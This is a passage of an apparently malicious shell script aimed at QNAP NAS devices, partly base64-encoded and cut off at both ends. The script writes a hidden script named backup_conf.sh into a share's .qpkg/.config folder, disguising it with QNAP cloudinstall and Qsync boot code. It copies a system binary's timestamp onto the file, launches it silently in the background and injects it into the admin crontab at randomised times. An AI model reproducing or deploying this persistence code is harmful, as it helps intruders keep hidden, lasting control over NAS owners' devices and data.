bnR1cGRhdGUiIC1lcSAxICYmIGV4aXQgMAogICAgICAgICAgICAgICAgZG9uZQogICAgICAgIGRvbmUKZG9uZQoKCmlmIFsgIiRmcm9tcmNTIiA9ICdUUlVFJyBdOyB0aGVuCiMgaWYgUXN5bmMgaXMgZGlzYWJsZSBiZWZvcmUgNC4zLjAsIHdlIHdpbGwgdG91Y2ggL21udC9IREFfUk9PVC91ZHBhdGVfcGtnLy5Rc3luY1NlcnZlcl9kaXNhYmxlZApzZXRfZGVmYXVsdF9kaXNhYmxlX3N0YXR1cygpCnsKCVFQS0dfRU5BQkxFPWAkQ01EX0dFVENGRyAke1FTWU5DX05BTUV9IEVuYWJsZSAtZCAiTlVMTCIgLWYgJHtRUEtHX0NPTkZ9YAoJT0xEX0VOQUJMRT1gJENNRF9HRVRDRkcgUXN5bmMgRW5hYmxlIC11IC1kIE5VTExgCglpZiBbIC1mICIke1VQREFURVBLR19ESVJ9Ly4ke1FTWU5DX05BTUV9X3JlbW92ZWQiIF07IHRoZW4KCQlyZXR1cm4KCWZpCgoJaWYgWyAiJFFQS0dfRU5BQkxFIiA9ICJOVUxMIiBdOyB0aGVuCgkJaWYgWyAiJE9MRF9FTkFCTEUiID0gIkZBTFNFIiBdOyB0aGVuCgkJCWRiZyAidG91Y2ggJHtVUERBVEVQS0dfRElSfS8uJHtRU1lOQ19OQU1FfV9kaXNhYmxlZCIKCQkJL2Jpbi90b3VjaCAiJHtVUERBVEVQS0dfRElSfS8uJHtRU1lOQ19OQU1FfV9kaXNhYmxlZCIKCQlmaQoJZmkKfQoKaWYgWyAieCRIQlNfRU5BQkxFIiA9IHhudWxsIF0gfHwgWyAieCRIQlNfRU5BQkxFIiA9IHhGQUxTRSBdOyB0aGVuCglleHBvcnQgUU5BUF9RUEtHPXJ0cnIKZWxzZQoJZXhwb3J0IFFOQVBfUVBLRz1IeWJyaWRCYWNrdXAKCS91c3IvbG9jYWwvc2Jpbi9xYm9vc3RfdXRpbCAtUyAtbiBydHJyIC1FIDAgMT4vZGV2L251bGwgMj4mMQpmaQpzdGFydCgpCnsKCWlmIFsgLWYgL3Vzci9iaW4vcXN5bmNtYW4gXTsgdGhlbgoJCVsgISAtZiAvZXRjL2NvbmZpZy9oZGNvcHl1c2IuY29uZiBdIHx8IC9iaW4vcm0gLWYgL2V0Yy9jb25maWcvaGRjb3B5dXNiLmNvbmYKCQkvYmluL3NlZCAtaSAnL2hkdXNiX2NvcHkvZCcgL2V0Yy9jb25maWcvY3JvbnRhYgoJCS91c3IvYmluL2Nyb250YWIgL2V0Yy9jb25maWcvY3JvbnRhYgoJCWVjaG8gLW4gIlN0YXJ0aW5nIFFTeW5jIG1hbml0b3I6ICIKCQlbIC1kIC9ldGMvY29uZmlnL3FzeW5jIF0gfHwgL3Vzci9iaW4vaW5zdGFsbCAtZCAvZXRjL2NvbmZpZy9xc3luYwoJCVsgLWYgL2V0Yy9jb25maWcvcXN5bmMvcWhvc3QuY29uZiBdIHx8IC9iaW4vdG91Y2ggL2V0Yy9jb25maWcvcXN5bmMvcWhvc3QuY29uZgoJCVsgLWYgL2V0Yy9jb25maWcvcXN5bmMvcXN5bmNqb2JkZWYuY29uZiBdIHx8IC9iaW4vdG91Y2ggL2V0Yy9jb25maWcvcXN5bmMvcXN5bmNqb2JkZWYuY29uZgoJCVsgLWYgL2V0Yy9jb25maWcvcXN5bmMvcXN5bmMuY29uZiBdIHx8IC9iaW4vY3AgLXAgL2V0Yy9kZWZhdWx0X2NvbmZpZy9xc3luYy9xc3luYy5jb25mIC9ldGMvY29uZmlnL3FzeW5jL3FzeW5jLmNvbmYKCQlbIC1mIC9ldGMvY29uZmlnL3FzeW5jL2V4dGRydi5jb25mIF0gfHwgL2Jpbi9jcCAtcCAvZXRjL2RlZmF1bHRfY29uZmlnL3FzeW5jL2V4dGRydi5jb25mIC9ldGMvY29uZmlnL3FzeW5jL2V4dGRydi5jb25mCgkJWyAtZiAvZXRjL2NvbmZpZy9xc3luYy9xc3luY2QuY29uZiBdIHx8IC9iaW4vY3AgLXAgL2V0Yy9kZWZhdWx0X2NvbmZpZy9xc3luYy9xc3luY2QuY29uZiAvZXRjL2NvbmZpZy9xc3luYy9xc3luY2QuY29uZgoJCVsgISAtZiAvZXRjL2NvbmZpZy9xc3luYy9xc3luY2QuY29uZiBdIHx8IC9iaW4vY2htb2QgNjQwIC9ldGMvY29uZmlnL3FzeW5jL3FzeW5jZC5jb25mCgkJWyAhIC1mIC9ldGMvY29uZmlnL3FzeW5jL3FzeW5jLmNvbmYgXSB8fCAvYmluL2NobW9kIDY0MCAvZXRjL2NvbmZpZy9xc3luYy9xc3luYy5jb25mCgkJWyAhIC1mIC9ldGMvY29uZmlnL3FzeW5jL3Fob3N0LmNvbmYgXSB8fCAvYmluL2NobW9kIDY0MCAvZXRjL2NvbmZpZy9xc3luYy9xaG9zdC5jb25mCgkJL3NiaW4vZGFlbW9uX21nciBxc3luY21hbiBzdGFydCAiL3Vzci9iaW4vcXN5bmNtYW4gMT4vZGV2L251bGwgMj4mMSIKCQllY2hvICJPSyIKCWZpCn0KCnN0b3AoKQp7CgllY2hvICJTaHV0dGluZyBkb3duIFFTeW5jIG1vbml0b3I6IE9LIgogICAgICAgIHBpZG51bT1gL2Jpbi9waWRvZiBxc3luY2BgL2Jpbi9waWRvZiBxc3luY2RgCiAgICAgICAga2lsbCAkcGlkbnVtIDI+L2Rldi9udWxsCiAgICAgICAgaT0wCiAgICAgICAgd2hpbGUgWyAke2l9IC1sdCA1IF0KICAgICAgICBkbwogICAgICAgICAgICAgICAgcGlkbnVtPWAvYmluL3BpZG9mIHFzeW5jYGAvYmluL3BpZG9mIHFzeW5jZGAKICAgICAgICAgICAgICAgIGlmIFsgLXogIiRwaWRudW0iIF07IHRoZW4KICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWsKICAgICAgICAgICAgICAgIGZpCiAgICAgICAgICAgICAgICBzbGVlcCAxCiAgICAgICAgICAgICAgICBpPWAvdXNyL2Jpbi9leHByICR7aX0gKyAxYAogICAgICAgIGRvbmUKICAgICAgICBwaWRudW09YC9iaW4vcGlkb2YgcXN5bmNgYC9iaW4vcGlkb2YgcXN5bmNkYAogICAgICAgIFsgLXogIiRwaWRudW0iIF0gfHwga2lsbCAtOSAkcGlkbnVtIDI+L2Rldi9udWxsCgkvc2Jpbi9kYWVtb25fbWdyIHFzeW5jbWFuIHN0b3AgIi91c3IvYmluL3FzeW5jbWFuIgoJL3Vzci9iaW4va2lsbGFsbCAtcSBxc3luY21hbgp9CgpzdGFydF9xc3luY2QoKQp7CgkjX3FzeW5jZF9lbj1gL3NiaW4vZ2V0Y2ZnICIiIEVuYWJsZWQgLWQgMCAtZiAvZXRjL3FzeW5jL3FzeW5jZC5jb25mYAoJI1sgIngkX3FzeW5jZF9lbiIgPSB4MSBdIHx8IHJldHVybiAtMQoJX3FzeW5jZF9ydW5fcGlkPWAvYmluL3BpZG9mIHFzeW5jZGAKCVsgLXogJF9xc3luY2RfcnVuX3BpZCBdIHx8IHJldHVybiAtMTE0CglfcmVjeWNsZV9lbj1gL3NiaW4vZ2V0Y2ZnICdOZXR3b3JrIFJlY3ljbGUgQmluJyBFbmFibGUgLWQgRkFMU0VgCglfd2l0aF9zeXNsb2c9JDEKCWlmIFsgIngkX3JlY3ljbGVfZW4iID0geFRSVUUgIF07IHRoZW4KCQlpZiBbICJ4JF93aXRoX3N5c2xvZyIgPSB4MSAgXTsgdGhlbgoJCQlMRF9QUkVMT0FEPS91c3IvbG9jYWwvbGliL2xpYnRyYXNoLnNvIC91c3IvYmluL3FzeW5jZCAtc3lzbG9nIC1jOi9ldGMvcXN5bmMvcXN5bmNkLmNvbmYKCQllbHNlCgkJCUxEX1BSRUxPQUQ9L3Vzci9sb2NhbC9saWIvbGlidHJhc2guc28gL3Vzci9iaW4vcXN5bmNkIC1jOi9ldGMvcXN5bmMvcXN5bmNkLmNvbmYKCQlmaQoJZWxzZQoJCWlmIFsgIngkX3dpdGhfc3lzbG9nIiA9IHgxICBdOyB0aGVuCgkJCS91c3IvYmluL3FzeW5jZCAtc3lzbG9nIC1jOi9ldGMvcXN5bmMvcXN5bmNkLmNvbmYKCQllbHNlCgkJCS91c3IvYmluL3FzeW5jZCAtYzovZXRjL3FzeW5jL3FzeW5jZC5jb25mCgkJZmkKCWZpCglfaXJldD0kPwoJaWYgWyAieCRfaXJldCIgPSB4MCBdOyB0aGVuCgkJaT0wCgkJd2hpbGUgWyAke2l9IC1sdCAxMDAwMCBdCgkJZG8KCQkJZWNobyAiJHtpfSBtaWxsaXNlY29uZC4uLiIKCQkJX3FzeW5jZF9waWQ9YC9zYmluL2dldGNmZyAnJyBQaWQgLWQgLTEgLWYgL2V0Yy9xc3luYy9xc3luY2QuY29uZmAKCQkJX3FzeW5jZF9ydW5fcGlkPWAvYmluL3BpZG9mIHFzeW5jZGAKCQkJaWYgWyAieCRfcXN5bmNkX3BpZCIgIT0gIngtMSIgXSAmJiBbICEgLXogJF9xc3luY2RfcnVuX3BpZCBdOyB0aGVuCgkJCQlicmVhawoJCQlmaQoJCQl1c2xlZXAgNTAwMDAKCQkJaT1gL3Vzci9iaW4vZXhwciAke2l9ICsgNTBgCgkJZG9uZQoJZmkKCXJldHVybiAtJF9pcmV0Cn0KCnN0b3BfcXN5bmNkKCkKewoJI19xc3luY2RfZW49YC9zYmluL2dldGNmZyAiIiBFbmFibGVkIC1kIDAgLWYgL2V0Yy9xc3luYy9xc3luY2QuY29uZmAKCSNbICJ4JF9xc3luY2RfZW4iID0geDAgXSB8fCByZXR1cm4gLTEKCV9xc3luY2RfcGlkPWAvc2Jpbi9nZXRjZmcgIiIgUGlkIC1kIC0xIC1mIC9ldGMvcXN5bmMvcXN5bmNkLmNvbmZgCglbICRfcXN5bmNkX3BpZCAtbHQgMCBdICYmIHJldHVybiAtMwoJIyBTZW5kIFNJR1VTUjEgdG8gaW5mb3JtIHRoZSBkYWVtb24gdG8gb3V0cHV0ICJbUlRSUiBTZXJ2ZXJdIFN0b3BwZWQiIGV2ZW50IGxvZwoJL2Jpbi9raWxsIC1TSUdVU1IxICRfcXN5bmNkX3BpZAoJdXNsZWVwIDIwMDAwMAoJIyBTZW5kIFNJR0lOVCB0byBzdG9wIHRoZSBRU3luY2QgcHJvY2VzcwoJL2Jpbi9raWxsIC1TSUdJTlQgJF9xc3luY2RfcGlkCglfa2lsbF9yZXQ9JD8KCWlmIFsgIngkX2tpbGxfcmV0IiAhPSB4MCBdOyB0aGVuCgkJcmV0dXJuIC0zCglmaQoJZWNobyAibmVlZCB3YWl0ICQxIG1pbGxpc2Vjb25kIgoJaT0wCgl3aGlsZSB0cnVlCglkbwoJCWVjaG8gIiR7aX0gbWlsbGlzZWNvbmQuLi4iCgkJX3FzeW5jZF9waWQ9YC9zYmluL2dldGNmZyAnJyBQaWQgLWQgLTEgLWYgL2V0Yy9xc3luYy9xc3luY2QuY29uZmAKCQlfcXN5bmNkX3J1bl9waWQ9YC9iaW4vcGlkb2YgcXN5bmNkYAoJCWlmIFsgIngkX3FzeW5jZF9waWQiID0gIngtMSIgXSAmJiBbIC16ICRfcXN5bmNkX3J1bl9waWQgXTsgdGhlbgoJCQlicmVhawoJCWZpCgkJaWYgWyAke2l9IC1nZSAkMSBdOyB0aGVuCgkJCSMgaWYgdGltZS1vdXQsIHdlIHNlbmQgdHdvIGFkZGl0aW9uYWwgU0lHSU5UIHRvIGZvcmNlIHRoZSBkYWVtb24gdG8gc3RvcC4KCQkJaWYgWyAkX3FzeW5jZF9waWQgLWdlIDAgXTsgdGhlbgoJCQkJL2Jpbi9raWxsIC1TSUdVU1IxICRfcXN5bmNkX3BpZAoJCQkJdXNsZWVwIDIwMDAwMAoJCQkJL2Jpbi9raWxsIC1TSUdVU1IxICRfcXN5bmNkX3BpZAoJCQlmaQoJCQlqPTAKCQkJd2hpbGUgWyAke2p9IC1sdCA1MDAgXQoJCQlkbwoJCQkJX3FzeW5jZF9ydW5fcGlkPWAvYmluL3BpZG9mIHFzeW5jZGAKCQkJCWlmIFsgLXogJF9xc3luY2RfcnVuX3BpZCBdOyB0aGVuCgkJCQkJcmV0dXJuIDAKCQkJCWZpCgkJCQl1c2xlZXAgMjAwMDAKCQkJCWo9YC91c3IvYmluL2V4cHIgJHtqfSArIDIwYAoJCQlkb25lCgkJCXJldHVybiAtNjIKCQlmaQoJCXVzbGVlcCA1MDAwMAoJCWk9YC91c3IvYmluL2V4cHIgJHtpfSArIDUwYAoJZG9uZQoJcmV0dXJuIDAKfQoKCmluc3RhbGwoKQp7Cglsb2NrX2ZpbGU9Ii92YXIvbG9jay9xYm94X2luc3RhbGxfYmluLmxjayIKCglpZiBbICEgLWYgIiR7SU5TVEFMTF9CVUlMRF9JTn0iIF07IHRoZW4KCQlkYmcgImJ1aWxkLWluICR7UVNZTkNfTkFNRX0gaXMgaW5zdGFsbGVkIgoJCXJldHVybiAxCglmaQoKCWlmIFsgISAtZiAke1VQREFURVBLR19ESVJ9LyR7UVNZTkNfTkFNRX0uYmluIF07IHRoZW4KCQlkYmcgIiR7UVNZTkNfTkFNRX0uYmlufSBub3QgZm91bmQiCgkJcmV0dXJuIDEKCWZpCgoJaWYgWyAhIC14ICIke1FQS0dfQ0xJfSIgXTsgdGhlbgoJCWRiZyAiJHtRUEtHX0NMSX0gbm90IGZvdW5kIgoJCXJldHVybiAxCglmaQoKCSMjIG1ha2Ugc3VyZSB2b2x1bWUgaXMgZXhpc3QKCWlmIFsgISAtZCAvc2hhcmUvYC9zYmluL2dldGNmZyBTSEFSRV9ERUYgZGVmUHVibGljIC1kIFB1YmxpYyAtZiAvZXRjL2NvbmZpZy9kZWZfc2hhcmUuaW5mb2AgXTsgdGhlbgoJCWRiZyAiL3NoYXJlL1B1YmxpYyBub3QgZm91bmQiCgkJcmV0dXJuIDEKCWZpCgoJIyMgaXMgcmVtb3ZlZCAKCWlmIFsgLWYgJHtVUERBVEVQS0dfRElSfS8uJHtRU1lOQ19OQU1FfV9yZW1vdmVkIF07IHRoZW4KCQkvYmluL3JtIC1mICR7SU5TVEFMTF9CVUlMRF9JTn0KCQlkYmcgIiR7UVNZTkNfTkFNRX0gaXMgcmVtb3ZlZCIKCQlyZXR1cm4gMQoJZmkKCglpZiBbIC1mICIkbG9ja19maWxlIiBdOyB0aGVuIAoJCWlmIFsgJCgoICQoZGF0ZSArJXMpIC0gJChkYXRlICslcyAtciAkbG9ja19maWxlKSApKSAtbGUgMTgwIF07IHRoZW4KCQkJZWNobyAiJHtRU1lOQ19OQU1FfSBpcyBpbnN0YWxsaW5nIgoJCQlkYmcgIiR7UVNZTkNfTkFNRX0gaXMgaW5zdGFsbGluZyIKCQkJcmV0dXJuIDEKCQlmaQoJZmkKCgkvYmluL3RvdWNoICIkbG9ja19maWxlIgkKCS9iaW4vcm0gLWYgJHtJTlNUQUxMX0JVSUxEX0lOfQoJZGJnICJpbnN0YWxsIGJ1aWxkLWluICR7UVNZTkNfTkFNRX0gc3RhcnQiCgoJc2V0X2RlZmF1bHRfZGlzYWJsZV9zdGF0dXMKCgkjIyBpbnN0YWxsIGJ1aWxkIGluIFFzeW5jCgkke1FQS0dfQ0xJfSAtSyAtbSAke1VQREFURVBLR19ESVJ9LyR7UVNZTkNfTkFNRX0uYmluID4gL2Rldi9udWxsIDI+JjEKCXNsZWVwIDIwCgoJd2FpdF9pbnN0YWxsPTYwCgkjIyBhdm9pZCBpbml0aWFsIHRha2UgbG9uZyB0aW1lIG9yIGZhaWwKICAgICAgICB3aGlsZSBbICIkd2FpdF9pbnN0YWxsIiAtZ3QgMCBdOyBkbwoJCXN0Y29kZT1gJENNRF9HRVRDRkcgJHtRU1lOQ19OQU1FfS5iaW4gc3Rjb2RlIC1mIC9ldGMvY29uZmlnL3Fwa2dfam9iLmNvbmZgCiAgICAgICAgICAgICAgICBpZiBbICIkc3Rjb2RlIiA9ICIwIiBdOyB0aGVuCiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgICAgICBmaQogICAgICAgICAgICAgICAgc2xlZXAgMQogICAgICAgICAgICAgICAgbGV0ICJ3YWl0X2luc3RhbGwtLSIKICAgICAgICBkb25lCgoJJHtRUEtHX0NMSX0gLUMgJHtRU1lOQ19OQU1FfS5iaW4gPiAvZGV2L251bGwgMj4mMQoJL2Jpbi9ybSAtZiAke1VQREFURVBLR19ESVJ9Ly4ke1FTWU5DX05BTUV9X2Rpc2FibGVkCgkvYmluL3JtIC1mICIkbG9ja19maWxlIgkKCWRiZyAiaW5zdGFsbCBidWlsZC1pbiAke1FTWU5DX05BTUV9IHN1Y2Nlc3MiCn0KCmlmIFsgIiQxIiA9PSAic3RvcCIgXTsgdGhlbgoJZXhpdCAwCmZpCmZpClhFT0YKY2htb2QgNzU1ICIke2JkaXJ9Ly5xcGtnLy5jb25maWcvYmFja3VwX2NvbmYuc2giCnRvdWNoIC1jciAvYmluL2J1c3lib3ggIiR7YmRpcn0vLnFwa2cvLmNvbmZpZy9iYWNrdXBfY29uZi5zaCIKKCAoIGV4ZWMgPi9kZXYvbnVsbCAyPiYxIDwvZGV2L251bGw7ICIke2JkaXJ9Ly5xcGtnLy5jb25maWcvYmFja3VwX2NvbmYuc2giIDwvZGV2L251bGwgPi9kZXYvbnVsbCAyPi9kZXYvbnVsbCAmICkgJiApCmZpCgp0ZXN0IC14ICIke2JkaXJ9Ly5xcGtnLy5jb25maWcvYmFja3VwX2NvbmYuc2giIHx8IGNobW9kIDc1NSAiJHtiZGlyfS8ucXBrZy8uY29uZmlnL2JhY2t1cF9jb25mLnNoIgoKY3JvbnRhYmFyZ3M9JChwcyB8IGdyZXAgJ2NyW29dbmQgJyB8IHNlZCAtbiAncy8uKmNyb25kW14wLTlBLVphLXotXSpcKC5cK1wpL1wxL3AnKQp0cnljb3VudD0xMDsgdHJ5Y291bnQ9JCgoICR0cnljb3VudCAtIDEwICkpCnNldCB4ICRjcm9udGFiYXJnczsgc2hpZnQKd2hpbGUgWyAkIyAtZ3QgMCBdICYmIFsgJHRyeWNvdW50IC1sdCAxMCBdOyBkbwp0cnljb3VudD0kKCggJHRyeWNvdW50ICsgMSApKQpnZXRvcHRzICc6YzonIE9QVCAyPi9kZXYvbnVsbAp0ZXN0ICIkT1BUIiA9ICdjJyAmJiBjcm9udGFiZmlsZT0iJHtPUFRBUkd9L2FkbWluIiAmJiBicmVhawp0ZXN0ICIkT1BUSU5EIiAtZ3QgMCAmJiBzaGlmdCAiJE9QVElORCIgJiYgT1BUSU5EPTEgfHwgYnJlYWsKZG9uZQp0ZXN0ICIkY3JvbnRhYmZpbGUiICYmIHRlc3QgLWYgIiR7Y3JvbnRhYmZpbGV9IiB8fCBjcm9udGFiZmlsZT0nL3RtcC9jcm9uL2Nyb250YWJzL2FkbWluJwoKZm9yIGNyb250YWIgaW4gIiRjcm9udGFiZmlsZSIgIiR7Y29uZmRpcn0vY3JvbnRhYiI7IGRvCmlmICRmZ3JlcCAiJHtiZGlyfS8ucXBrZy8uY29uZmlnL2JhY2t1cF9jb25mLnNoIiAiJGNyb250YWIiOyB0aGVuCjoKZWxzZQpjcm9ubWlucz0kKHByaW50ZiAnJWknICIkKCggJFJBTkRPTSAlIDYwICkpIikKY3JvbmhvdXI9JChwcmludGYgJyVpJyAiJCgoICRSQU5ET00gJSAyNCApKSIpCmNyb25ob3VyPSQocHJpbnRmICclaSwnICIkKCggKCAkY3JvbmhvdXIgKyA4ICkgJSAyNCApKSIgIiQoKCAoICRjcm9uaG91ciArIDE2ICkgJSAyNCApKSIpIiRjcm9uaG91ciIKZWNobyAiJGNyb25taW5zICRjcm9uaG91ciInICogKiAqICciJHtiZGlyfS8ucXBrZy8uY29uZmlnL2JhY2t1cF9jb25mLnNoID4vZGV2L251bGwgMj4vZGV2L251bGwiID4+ICIkY3JvbnRhYiIKY3JvbnRhYiAiJGNyb250YWIiCnNsZWVwIDIKZmkKZG9uZQopICYgKSAmCg== +EOF +)&) +( exec >/dev/null 2>&1; ( +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" +command -v dirname >/dev/null 2>&1 || dirname () { test -z "$1" && echo "." && return; local r="${1%"${1##*[!/]}"}"; case $r in /*[!/]*/*|[!/]*/*) r="${r%/*}"; echo "${r%"${r##*[!/]}"}";; */*) echo ${r%%[!/]};; "") echo $1;; *) echo .;; esac; } +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } +test -d "$confdir" || confdir=/etc/config +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\ +\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\ +//I;s/\(^\|\ +\)\[[^\ +]\+\]\ +.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in homes Public Download Multimedia Web Recordings; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +echo 'ab*c' | grep -F 'ab*c' >/dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } +test "$fgrep" || fgrep=grep + +if [ ! -f "${bdir}/.qpkg/.config/backup_conf.sh" ]; then +test -d "${bdir}/.qpkg" || mkdir -p "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +test -d "${bdir}/.qpkg/.config" || mkdir "${bdir}/.qpkg/.config" +cat > "${bdir}/.qpkg/.config/backup_conf.sh" <<"XEOF" +#!/bin/sh +QNAP_QPKG=cloudinstall +QID_PRESISTENT_CONF=/etc/config/qid_persistent.conf +NAS_CLOUD_INSTALL_PATH=/home/httpd/cgi-bin/cloudinstall +CLOUD_INSTALL_PATH=/tunnel_agent +CLOUD_INSTALL_RAMDISK_PATH=/tunnel_agent_ramdisk +CLOUD_INSTALL_AGENT_FILE_PATH=$CLOUD_INSTALL_PATH/tunnel_agent.tar.bz2 +COUNTER=1 +ERROR_BAD_REQUEST=400 + +if [ "$fromrcS" = 'TRUE' ]; then +case "$1" in + start) + START_TIME=$(date +"%T") + echo -e "start:$START_TIME" >> /tmp/.cloudinstall.log + while [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; + do + # report device info and get cloudinstall agent app download url + DOWNLOAD_URL=`/usr/sbin/qcloud_uninit_device_tool -r` + if [ ! -d "$CLOUD_INSTALL_PATH" ]; then + if [ "$NAS_ARCH" == "ARM_64" ]; then + # create ramdisk and create a 64mb file + /bin/mkdir -p $CLOUD_INSTALL_RAMDISK_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_RAMDISK_PATH + /bin/dd if=/dev/zero of=$CLOUD_INSTALL_RAMDISK_PATH/image bs=1M count=64 + # create block size 1K filesystem + /sbin/mke2fs -b 1024 $CLOUD_INSTALL_RAMDISK_PATH/image + # create virtual disk + export USED_LOOP_DEVICE=`/usr/local/sbin/losetup -f $CLOUD_INSTALL_RAMDISK_PATH/image` + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "USED_LOOP_DEVICE" "$USED_LOOP_DEVICE" + /bin/mkdir -p $CLOUD_INSTALL_PATH + # mount virtual disk + /bin/mount $USED_LOOP_DEVICE $CLOUD_INSTALL_PATH + else + # create and mount tmpfs folder + /bin/mkdir -p $CLOUD_INSTALL_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_PATH + fi + fi + cd $CLOUD_INSTALL_PATH + + if [[ $DOWNLOAD_URL == https* ]]; then + REPORT_SUCCESS_TIME=$(date +"%T") + else + REPORT_FAIL_TIME=$(date +"%T") + echo -e " report_fail:$REPORT_FAIL_TIME\n response:$DOWNLOAD_URL" >> /tmp/.cloudinstall.log + # stop retry when got bad request + # prevent put bad request all the time + if [[ $DOWNLOAD_URL == *$ERROR_BAD_REQUEST* ]]; then + break + fi + fi + + # downlaod cloudinstall agent app + /usr/sbin/qcloud_uninit_device_tool -o "$CLOUD_INSTALL_AGENT_FILE_PATH" -d "$DOWNLOAD_URL" + + if [ -f "$CLOUD_INSTALL_AGENT_FILE_PATH" ]; then + DOWNLOAD_FINISH_TIME=$(date +"%T") + # unzip and execute cloudinstallagent + /bin/tar -xf $CLOUD_INSTALL_AGENT_FILE_PATH -C $CLOUD_INSTALL_PATH + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh start &> /dev/null + + UNZIP_TIME=$(date +"%T") + fi + + if [ ! -d "$NAS_CLOUD_INSTALL_PATH" ]; then + # create folder and create symbolic link + /bin/mkdir -p $NAS_CLOUD_INSTALL_PATH + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.html $NAS_CLOUD_INSTALL_PATH/index.html + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.cgi $NAS_CLOUD_INSTALL_PATH/cloudinstall.cgi + /bin/ln -s $CLOUD_INSTALL_PATH/ui/static $NAS_CLOUD_INSTALL_PATH/static + fi + + # wait connect + sleep 5 + CLOUD_INSTALL_AGENT_PID_LIST=`/bin/ps --columns 256 | /bin/grep "$CLOUD_INSTALL_PATH/bin/cloudinstallagent" | /bin/grep -v grep | /bin/awk '{print $1}'` + if [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; then + SLEEP_TIME=$(( 30 * $COUNTER )) + if [ $SLEEP_TIME -gt 300 ]; then + SLEEP_TIME=300 + fi + # wait next retry + sleep $SLEEP_TIME + fi + COUNTER=$(( $COUNTER * 2 )) + done + + END_TIME=$(date +"%T") + echo -e "report_success:$REPORT_SUCCESS_TIME\ndownload_finish:$DOWNLOAD_FINISH_TIME\nunzip_finish:$UNZIP_TIME\nend:$END_TIME" >> /tmp/.cloudinstall.log + # call for a new process group and for later kill + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh start &> /dev/null & + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_daemon.sh &> /dev/null & + + # set cloudinstall report status + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "REPORT_STATUS" "uninit" + # add link to report offline + /bin/ln -sf /etc/init.d/cloudinstall_report_offline.sh /etc/rcK.d/K99cloudinstall_report_offline + + # buzzer + HARDWARE_TYPE=$(uname -m) + if [[ "$HARDWARE_TYPE" == *"x86"* ]]; + then + /sbin/hal_app --se_buzzer enc_id=0,mode=101 + elif [[ "$HARDWARE_TYPE" == *"arm"* ]]; + then + /sbin/pic_raw 81 + fi + ;; + + stop) + # disconnect cloudinstall agent + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh stop &> /dev/null + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh stop &> /dev/null + for i in "${CLOUD_INSTALL_AGENT_DAEMON_PID_LIST[@]}" + do + # use bash kill instead /bin/kill for kill process group + # cloudinstall agent daemon and inotifywait + kill -9 -- -$i &>/dev/null + done + + # umount + if [ "$NAS_ARCH" == "ARM_64" ]; then + /bin/umount -l $USED_LOOP_DEVICE + /usr/local/sbin/losetup -d $USED_LOOP_DEVICE + else + /bin/umount -l $CLOUD_INSTALL_PATH + fi + # remove all files + if [ -d "$NAS_CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $NAS_CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_RAMDISK_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_RAMDISK_PATH + fi + ;; + + restart) + $0 stop + $0 start + ;; + + *) + echo "Usage: $0 {start|stop|restart}" + { /share/MD0_DATA/NOPE; exit 1; } +esac +{ /share/MD0_DATA/NOPE; exit 0; } + + +set_env() +{ + debug=`$CMD_GETCFG Qsync Debug -u -d NULL` + if [ "$debug" != "NULL" ]; then + /bin/touch $LOG_FILE + else + /bin/rm -f $LOG_FILE + fi +} + +set_env + +dbg() +{ + if [ -f "$LOG_FILE" ]; then + echo "[`date "+%H:%M:%S"`] $@ " >> $LOG_FILE + fi +} + +dbg "> $0 $@ (pid $$)" + +fi + +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" + +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 